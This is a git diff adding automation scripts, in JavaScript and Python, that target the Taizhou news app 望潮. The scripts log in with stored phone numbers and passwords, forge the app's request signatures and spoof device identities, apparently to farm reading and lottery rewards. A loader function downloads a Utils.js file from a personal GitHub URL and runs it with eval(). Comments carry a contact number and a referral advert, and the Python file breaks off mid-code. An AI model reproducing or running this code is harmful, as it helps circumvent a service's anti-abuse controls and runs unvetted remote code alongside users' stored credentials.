'X-REQUEST-ID': params.uuid, + 'X-SIGNATURE': params.signature, + 'Cache-Control': 'no-cache', + 'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8', + 'Accept-Encoding': 'gzip', + 'user-agent': ua, + }, + body: params.body + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + resolve(JSON.parse(data)); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function commonGet(url) { + let params = getParams(url); + return new Promise(resolve => { + const options = { + url: `https://vapp.taizhou.com.cn${url}`, + headers : { + 'Connection': 'Keep-Alive', + 'X-TIMESTAMP': params.time, + 'X-SESSION-ID': sessionId, + 'X-REQUEST-ID': params.uuid, + 'X-SIGNATURE': params.signature, + 'X-TENANT-ID': tenantId, + 'X-ACCOUNT-ID': accountId, + 'Cache-Control': 'no-cache', + 'Accept-Encoding': 'gzip', + 'user-agent': commonUa, + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + await $.wait(2000) + resolve(JSON.parse(data)); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function commonPost(url,body) { + let params = getParams(url); + return new Promise(resolve => { + const options = { + url: `https://vapp.taizhou.com.cn${url}`, + headers : { + 'Connection': 'Keep-Alive', + 'X-TIMESTAMP': params.time, + 'X-SESSION-ID': sessionId, + 'X-REQUEST-ID': params.uuid, + 'X-SIGNATURE': params.signature, + 'X-TENANT-ID': tenantId, + 'X-ACCOUNT-ID': accountId, + 'Cache-Control': 'no-cache', + 'Accept-Encoding': 'gzip', + 'user-agent': commonUa, + }, + body: body + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + await $.wait(2000) + resolve(JSON.parse(data)); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function loginGet(url) { + return new Promise(resolve => { + const options = { + url: `https://xmt.taizhou.com.cn${url}`, + headers : { + 'Connection': 'Keep-Alive', + 'Accept': '*/*', + 'Cookie': readCookie, + 'Sec-Fetch-Site': 'same-origin', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://xmt.taizhou.com.cn/readingLuck-v1/', + 'X-Requested-With': 'com.shangc.tiennews.taizhou', + 'Accept-Encoding': 'gzip, deflate', + 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + 'user-agent': 'Mozilla/5.0 (Linux; Android 11; 21091116AC Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/94.0.4606.85 Mobile Safari/537.36;xsb_wangchao;xsb_wangchao;6.0.2;native_app;6.10.0', + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + await $.wait(2000) + if ($.isNode()) { + readCookie = resp.headers['set-cookie'][0]; + } else { + readCookie = resp.headers['set-cookie'] || resp.headers['Set-Cookie']; + } + readCookie = readCookie.split(';')[0]; + resolve(readCookie); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function readGet(url) { + return new Promise(resolve => { + const options = { + url: `https://xmt.taizhou.com.cn${url}`, + headers : { + 'Connection': 'Keep-Alive', + 'Accept': '*/*', + 'Cookie': readCookie, + 'Sec-Fetch-Site': 'same-origin', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://xmt.taizhou.com.cn/readingLuck-v1/', + 'X-Requested-With': 'com.shangc.tiennews.taizhou', + 'Accept-Encoding': 'gzip, deflate', + 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + 'user-agent': 'Mozilla/5.0 (Linux; Android 11; 21091116AC Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/94.0.4606.85 Mobile Safari/537.36;xsb_wangchao;xsb_wangchao;6.0.2;native_app;6.10.0', + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + await $.wait(2000) + resolve(JSON.parse(data)); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function lotteryLoginGet(url) { + return new Promise(resolve => { + const options = { + url: `https://srv-app.taizhou.com.cn${url}`, + headers : { + 'Connection': 'Keep-Alive', + 'Accept': '*/*', + 'Sec-Fetch-Site': 'same-origin', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'cookie': lotteryCookie, + 'Referer': 'https://xmt.taizhou.com.cn/readingLuck-v1/', + 'X-Requested-With': 'com.shangc.tiennews.taizhou', + 'Accept-Encoding': 'gzip, deflate', + 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + 'user-agent': 'Mozilla/5.0 (Linux; Android 11; 21091116AC Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/94.0.4606.85 Mobile Safari/537.36;xsb_wangchao;xsb_wangchao;6.0.2;native_app;6.10.0', + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + await $.wait(2000) + if ($.isNode()) { + lotteryCookie = resp.headers['set-cookie'][0]; + } else { + lotteryCookie = resp.headers['set-cookie'] || resp.headers['Set-Cookie']; + } + lotteryCookie = lotteryCookie.split(';')[0]; + resolve(lotteryCookie); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function lotteryGet(url) { + return new Promise(resolve => { + const options = { + url: `https://srv-app.taizhou.com.cn${url}`, + headers : { + 'Connection': 'Keep-Alive', + 'Accept': '*/*', + 'Sec-Fetch-Site': 'same-origin', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'cookie': lotteryCookie, + 'Referer': 'https://xmt.taizhou.com.cn/readingLuck-v1/', + 'X-Requested-With': 'com.shangc.tiennews.taizhou', + 'Accept-Encoding': 'gzip, deflate', + 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + 'user-agent': 'Mozilla/5.0 (Linux; Android 11; 21091116AC Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/94.0.4606.85 Mobile Safari/537.36;xsb_wangchao;xsb_wangchao;6.0.2;native_app;6.10.0', + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + await $.wait(2000) + resolve(JSON.parse(data)); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function lotteryPost(url,body) { + return new Promise(resolve => { + const options = { + url: `https://srv-app.taizhou.com.cn${url}`, + headers : { + 'Connection': 'Keep-Alive', + 'Accept': '*/*', + 'Content-type': 'application/x-www-form-urlencoded', + 'Sec-Fetch-Site': 'same-origin', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'cookie': lotteryCookie, + 'Referer': 'https://xmt.taizhou.com.cn/readingLuck-v1/', + 'X-Requested-With': 'com.shangc.tiennews.taizhou', + 'Accept-Encoding': 'gzip, deflate', + 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + 'user-agent': 'Mozilla/5.0 (Linux; Android 11; 21091116AC Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/94.0.4606.85 Mobile Safari/537.36;xsb_wangchao;xsb_wangchao;6.0.2;native_app;6.10.0', + }, + body: body + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + await $.wait(2000) + resolve(JSON.parse(data)); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getBody() { + const key = 'MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQD6XO7e9YeAOs+cFqwa7ETJ+WXizPqQeXv68i5vqw9pFREsrqiBTRcg7wB0RIp3rJkDpaeVJLsZqYm5TW7FWx/iOiXFc+zCPvaKZric2dXCw27EvlH5rq+zwIPDAJHGAfnn1nmQH7wR3PCatEIb8pz5GFlTHMlluw4ZYmnOwg+thwIDAQAB'; + const encryptor = new (Utils.loadJSEncrypt()); + encryptor.setPublicKey(key); + password = encryptor.encrypt(password); + let uuid = generateUUID(); + let body = `client_id=${clientId}&password=${password}&phone_number=${phone_number}`; + const str = `post%%/web/oauth/credential_auth?${body}%%${uuid}%%`; + body = `client_id=${clientId}&password=${encodeURIComponent(password)}&phone_number=${phone_number}`; + CryptoJS = Utils.createCryptoJS(); + const hash = CryptoJS.HmacSHA256(str, signature_key); + let signature = CryptoJS.enc.Hex.stringify(hash); + return {"uuid":uuid,"signature":signature,"body":body}; +} + +function getParams(url) { + let uuid = generateUUID(); + let time = Date.now(); + if (url.indexOf('?') > 0) { + url = url.substring(0, url.indexOf('?')); + } + CryptoJS = Utils.createCryptoJS(); + let signature = CryptoJS.SHA256(`${url}&&${sessionId}&&${uuid}&&${time}&&${signatureSalt}&&${tenantId}`).toString(); + return {"uuid":uuid,"time":time,"signature":signature}; +} + +function generateUUID() { + return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) { + const r = (Math.random() * 16) | 0; + const v = c === 'x' ? r : (r & 0x3) | 0x8; + return v.toString(16); + }); +} + +function getCurrentDate() { + const currentDate = new Date(); + const year = currentDate.getFullYear(); + const month = String(currentDate.getMonth() + 1).padStart(2, '0'); + const day = String(currentDate.getDate()).padStart(2, '0'); + return `${year}${month}${day}`; +} + +function generateRandomUA() { + const version = "6.0.2"; + const uuid = generateUUID(); + const deviceIds = [ + "M1903F2A", + "M2001J2E", + "M2001J2C", + "M2001J1E", + "M2001J1C", + "M2002J9E", + "M2011K2C", + "M2102K1C", + "M2101K9C", + "2107119DC", + "2201123C", + "2112123AC", + "2201122C", + "2211133C", + "2210132C", + "2304FPN6DC", + "23127PN0CC", + "24031PN0DC", + "23090RA98C", + "2312DRA50C", + "2312CRAD3C", + "2312DRAABC", + "22101316UCP", + "22101316C" + ]; + const deviceId = getRandomElement(deviceIds); + const device = "Xiaomi " + deviceId; + const os = "Android"; + const osVersion = "11"; + const osType = "xiaomi"; + const appVersion = "6.10.0"; + + let ua = `${os.toUpperCase()};${osVersion};${clientId};${version};1.0;null;${deviceId}` + let commonUa = `${version};${uuid};${device};${os};${osVersion};${osType};${appVersion}` + return {"ua": ua, "commonUa": commonUa,"uuid":uuid}; +} + +function getRandomElement(arr) { + return arr[Math.floor(Math.random() * arr.length)]; +} + +async function loadUtils() { + let code = $.getdata('Utils_Code') || ''; + if (code && Object.keys(code).length) { + console.log(`✅ ${$.name}: 缓存中存在Utils代码, 跳过下载`) + eval(code) + return creatUtils(); + } + console.log(`🚀 ${$.name}: 开始下载Utils代码`) + return new Promise(async (resolve) => { + $.getScript( + 'https://raw.githubusercontent.com/3288588344/toulu/main/Utils.js' + ).then((fn) => { + $.setdata(fn, "Utils_Code") + eval(fn) + console.log(`✅ Utils加载成功, 请继续`) + resolve(creatUtils()) + }) + }) +} + +async function sendMsg(message) { + if ($.isNode()) { + let notify = '' + try { + notify = require('./sendNotify'); + } catch (e) { + notify = require("../sendNotify"); + } + await notify.sendNotify($.name, message); + } else { + $.msg($.name, '', message) + } +} + +// prettier-ignore +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise(((e,i)=>{s.call(this,t,((t,s,o)=>{t?i(t):e(s)}))}))}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.logLevels={debug:0,info:1,warn:2,error:3},this.logLevelPrefixs={debug:"[DEBUG] ",info:"[INFO] ",warn:"[WARN] ",error:"[ERROR] "},this.logLevel="info",this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.encoding="utf-8",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}getEnv(){return"undefined"!=typeof $environment&&$environment["surge-version"]?"Surge":"undefined"!=typeof $environment&&$environment["stash-version"]?"Stash":"undefined"!=typeof module&&module.exports?"Node.js":"undefined"!=typeof $task?"Quantumult X":"undefined"!=typeof $loon?"Loon":"undefined"!=typeof $rocket?"Shadowrocket":void 0}isNode(){return"Node.js"===this.getEnv()}isQuanX(){return"Quantumult X"===this.getEnv()}isSurge(){return"Surge"===this.getEnv()}isLoon(){return"Loon"===this.getEnv()}isShadowrocket(){return"Shadowrocket"===this.getEnv()}isStash(){return"Stash"===this.getEnv()}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null,...s){try{return JSON.stringify(t,...s)}catch{return e}}getjson(t,e){let s=e;if(this.getdata(t))try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise((e=>{this.get({url:t},((t,s,i)=>e(i)))}))}runScript(t,e){return new Promise((s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let o=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");o=o?1*o:20,o=e&&e.timeout?e.timeout:o;const[r,a]=i.split("@"),n={url:`http://${a}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:o},headers:{"X-Key":r,Accept:"*/*"},timeout:o};this.post(n,((t,e,i)=>s(i)))})).catch((t=>this.logErr(t)))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),o=JSON.stringify(this.data);s?this.fs.writeFileSync(t,o):i?this.fs.writeFileSync(e,o):this.fs.writeFileSync(t,o)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let o=t;for(const t of i)if(o=Object(o)[t],void 0===o)return s;return o}lodash_set(t,e,s){return Object(t)!==t||(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce(((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{}),t)[e[e.length-1]]=s),t}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),o=s?this.getval(s):"";if(o)try{const t=JSON.parse(o);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,o]=/^@(.*?)\.(.*?)$/.exec(e),r=this.getval(i),a=i?"null"===r?null:r||"{}":"{}";try{const e=JSON.parse(a);this.lodash_set(e,o,t),s=this.setval(JSON.stringify(e),i)}catch(e){const r={};this.lodash_set(r,o,t),s=this.setval(JSON.stringify(r),i)}}else s=this.setval(t,e);return s}getval(t){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.read(t);case"Quantumult X":return $prefs.valueForKey(t);case"Node.js":return this.data=this.loaddata(),this.data[t];default:return this.data&&this.data[t]||null}}setval(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.write(t,e);case"Quantumult X":return $prefs.setValueForKey(t,e);case"Node.js":return this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0;default:return this.data&&this.data[e]||null}}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.cookie&&void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar)))}get(t,e=(()=>{})){switch(t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"],delete t.headers["content-type"],delete t.headers["content-length"]),t.params&&(t.url+="?"+this.queryStr(t.params)),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let s=require("iconv-lite");this.initGotEnv(t),this.got(t).on("redirect",((t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}})).then((t=>{const{statusCode:i,statusCode:o,headers:r,rawBody:a}=t,n=s.decode(a,this.encoding);e(null,{status:i,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:i,response:o}=t;e(i,o,o&&s.decode(o.rawBody,this.encoding))}));break}}post(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"post";switch(t.body&&t.headers&&!t.headers["Content-Type"]&&!t.headers["content-type"]&&(t.headers["content-type"]="application/x-www-form-urlencoded"),t.headers&&(delete t.headers["Content-Length"],delete t.headers["content-length"]),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let i=require("iconv-lite");this.initGotEnv(t);const{url:o,...r}=t;this.got[s](o,r).then((t=>{const{statusCode:s,statusCode:o,headers:r,rawBody:a}=t,n=i.decode(a,this.encoding);e(null,{status:s,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:s,response:o}=t;e(s,o,o&&i.decode(o.rawBody,this.encoding))}));break}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}queryStr(t){let e="";for(const s in t){let i=t[s];null!=i&&""!==i&&("object"==typeof i&&(i=JSON.stringify(i)),e+=`${s}=${i}&`)}return e=e.substring(0,e.length-1),e}msg(e=t,s="",i="",o={}){const r=t=>{const{$open:e,$copy:s,$media:i,$mediaMime:o}=t;switch(typeof t){case void 0:return t;case"string":switch(this.getEnv()){case"Surge":case"Stash":default:return{url:t};case"Loon":case"Shadowrocket":return t;case"Quantumult X":return{"open-url":t};case"Node.js":return}case"object":switch(this.getEnv()){case"Surge":case"Stash":case"Shadowrocket":default:{const r={};let a=t.openUrl||t.url||t["open-url"]||e;a&&Object.assign(r,{action:"open-url",url:a});let n=t["update-pasteboard"]||t.updatePasteboard||s;if(n&&Object.assign(r,{action:"clipboard",text:n}),i){let t,e,s;if(i.startsWith("http"))t=i;else if(i.startsWith("data:")){const[t]=i.split(";"),[,o]=i.split(",");e=o,s=t.replace("data:","")}else{e=i,s=(t=>{const e={JVBERi0:"application/pdf",R0lGODdh:"image/gif",R0lGODlh:"image/gif",iVBORw0KGgo:"image/png","/9j/":"image/jpg"};for(var s in e)if(0===t.indexOf(s))return e[s];return null})(i)}Object.assign(r,{"media-url":t,"media-base64":e,"media-base64-mime":o??s})}return Object.assign(r,{"auto-dismiss":t["auto-dismiss"],sound:t.sound}),r}case"Loon":{const s={};let o=t.openUrl||t.url||t["open-url"]||e;o&&Object.assign(s,{openUrl:o});let r=t.mediaUrl||t["media-url"];return i?.startsWith("http")&&(r=i),r&&Object.assign(s,{mediaUrl:r}),console.log(JSON.stringify(s)),s}case"Quantumult X":{const o={};let r=t["open-url"]||t.url||t.openUrl||e;r&&Object.assign(o,{"open-url":r});let a=t["media-url"]||t.mediaUrl;i?.startsWith("http")&&(a=i),a&&Object.assign(o,{"media-url":a});let n=t["update-pasteboard"]||t.updatePasteboard||s;return n&&Object.assign(o,{"update-pasteboard":n}),console.log(JSON.stringify(o)),o}case"Node.js":return}default:return}};if(!this.isMute)switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:$notification.post(e,s,i,r(o));break;case"Quantumult X":$notify(e,s,i,r(o));break;case"Node.js":break}if(!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}debug(...t){this.logLevels[this.logLevel]<=this.logLevels.debug&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.debug}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}info(...t){this.logLevels[this.logLevel]<=this.logLevels.info&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.info}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}warn(...t){this.logLevels[this.logLevel]<=this.logLevels.warn&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.warn}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}error(...t){this.logLevels[this.logLevel]<=this.logLevels.error&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.error}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.map((t=>t??String(t))).join(this.logSeparator))}logErr(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:this.log("",`❗️${this.name}, 错误!`,e,t);break;case"Node.js":this.log("",`❗️${this.name}, 错误!`,e,void 0!==t.message?t.message:t,t.stack);break}}wait(t){return new Promise((e=>setTimeout(e,t)))}done(t={}){const e=((new Date).getTime()-this.startTime)/1e3;switch(this.log("",`🔔${this.name}, 结束! 🕛 ${e} 秒`),this.log(),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:$done(t);break;case"Node.js":process.exit(1)}}}(t,e)} diff --git a/脚本库/web版/账密/望潮py版/2025-06-28_望潮py版_7e3e4c49.py b/脚本库/web版/账密/望潮py版/2025-06-28_望潮py版_7e3e4c49.py new file mode 100644 index 0000000..d62d0bc --- /dev/null +++ b/脚本库/web版/账密/望潮py版/2025-06-28_望潮py版_7e3e4c49.py @@ -0,0 +1,351 @@ +# Source: https://gitee.com/jdqlscript/toulu/blob/main/%E6%9C%9B%E6%BD%AEpy%E7%89%88.py +# Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E6%9C%9B%E6%BD%AEpy%E7%89%88.py +# Repo: jdqlscript/toulu +# Path: 望潮py版.py +# UploadedAt: 2025-06-28T11:18:42+08:00 +# SHA256: 7e3e4c490c027ab9d226e97579a969b25819e35cbec98bd2987e6fce14620f10 +# Category: web版/账密 +# Evidence: web/H5关键词 + username/password/login + +# --------------------------------注释区-------------------------------- +# 变量:wangchaoAccount ,格式:密码#账号,多号&分割 +# corn: 每天跑一次就行 22 10 * * * + +# 有问题联系3288588344 +# 频道:https://pd.qq.com/s/672fku8ge + +#长期套餐大额流量电话卡办理地址:https://hk.yunhaoka.cn/#/pages/micro_store/index?agent_id=669709 +#望潮可改密码版(不要更新):https://www.123pan.com/s/TGXSVv-G9p8A.html + +import hashlib +import math +import time +import requests +import datetime +import os +from urllib.parse import urlparse, parse_qs +import random +from Crypto.PublicKey import RSA +from Crypto.Cipher import PKCS1_v1_5 +import base64 +from requests.adapters import HTTPAdapter +from urllib3.util.retry import Retry +import urllib.parse +debug=0 +def jm(password): + public_key_base64 = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQD6XO7e9YeAOs+cFqwa7ETJ+WXizPqQeXv68i5vqw9pFREsrqiBTRcg7wB0RIp3rJkDpaeVJLsZqYm5TW7FWx/iOiXFc+zCPvaKZric2dXCw27EvlH5rq+zwIPDAJHGAfnn1nmQH7wR3PCatEIb8pz5GFlTHMlluw4ZYmnOwg+thwIDAQAB" + public_key_der = base64.b64decode(public_key_base64) + key = RSA.importKey(public_key_der) + cipher = PKCS1_v1_5.new(key) + password_bytes = password.encode('utf-8') + encrypted_password = cipher.encrypt(password_bytes) + encrypted_password_base64 = base64.b64encode(encrypted_password).decode('utf-8') + url_encoded_data = urllib.parse.quote(encrypted_password_base64) + return url_encoded_data + +#生成设备号 +def generate_random_uuid(): + # 设备号其实可以写死,保险起见选择随机生成 + uuid_str = '00000000-{:04x}-{:04x}-0000-0000{:08x}'.format( + random.randint(0, 0xfff) | 0x4000, + random.randint(0, 0x3fff) | 0x8000, + random.getrandbits(32) + ) + return uuid_str + +# 签名并获取认证码 +def sign(phone, password): + url_encoded_data = jm(password) + url = "https://passport.tmuyun.com/web/oauth/credential_auth" + payload = f"client_id=10019&password={url_encoded_data}&phone_number={phone}" + headers = { + 'User-Agent': "ANDROID;13;10019;6.0.2;1.0;null;MEIZU 20", + 'Connection': "Keep-Alive", + 'Accept-Encoding': "gzip", + 'Content-Type': "application/x-www-form-urlencoded", + 'Cache-Control': "no-cache", + 'X-SIGNATURE': "185d21c6f3e9ec4af43e0065079b8eb7f1bb054134481e57926fcc45e304b896", + } + + response = requests.post(url, data=payload, headers=headers) + try: + code = response.json()['data']['authorization_code']['code'] + url = "https://vapp.taizhou.com.cn/api/zbtxz/login" + payload = f"check_token=&code={code}&token=&type=-1&union_id=" + headers = { + 'User-Agent': "6.0.2;{deviceid};Meizu MEIZU 20;Android;13;tencent;6.10.0", + 'Connection': "Keep-Alive", + 'Accept-Encoding': "gzip", + 'Content-Type': "application/x-www-form-urlencoded", + 'X-SESSION-ID': "66586b383f293a7173e4c8f4", + 'X-REQUEST-ID': "110c1987-1637-4f4e-953e-e35272bb891e", + 'X-TIMESTAMP': "1717072109065", + 'X-SIGNATURE': "a69f171e284594a5ecc4baa1b2299c99167532b9795122bae308f27592e94381", + 'X-TENANT-ID': "64", + 'Cache-Control': "no-cache" + } + response = requests.post(url, data=payload, headers=headers) + message = response.json()['message'] + account_id = response.json()['data']['account']['id'] + session_id = response.json()['data']['session']['id'] + name = response.json()['data']['account']['nick_name'] + return message, account_id, session_id, name + except Exception: + print('出错啦!') + return None, None, None, None + +#生成验证码 +def generate_md5(input_str): + md5_obj = hashlib.md5() + input_str_encoded = input_str.encode('utf-8') + md5_obj.update(input_str_encoded) + return md5_obj.hexdigest() + +#获取阅读的JSESSIONID +def get_special_cookie(): + special_cookie_url = f'https://xmt.taizhou.com.cn/prod-api/user-read/app/login?id={account_id}&sessionId={session_id}&deviceId={deviceid}' + + headers = { + 'Host': 'xmt.taizhou.com.cn', + 'User-Agent': 'Mozilla/5.0 (Linux; Android 13; MEIZU 20 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/83.0.4103.101 Mobile Safari/537.36;xsb_wangchao;xsb_wangchao;6.0.2;native_app;6.10.0', + 'Accept': '*/*', + 'X-Requested-With': 'com.shangc.tiennews.taizhou', + 'Sec-Fetch-Site': 'same-origin', + 'Sec-Fetch-Mode': 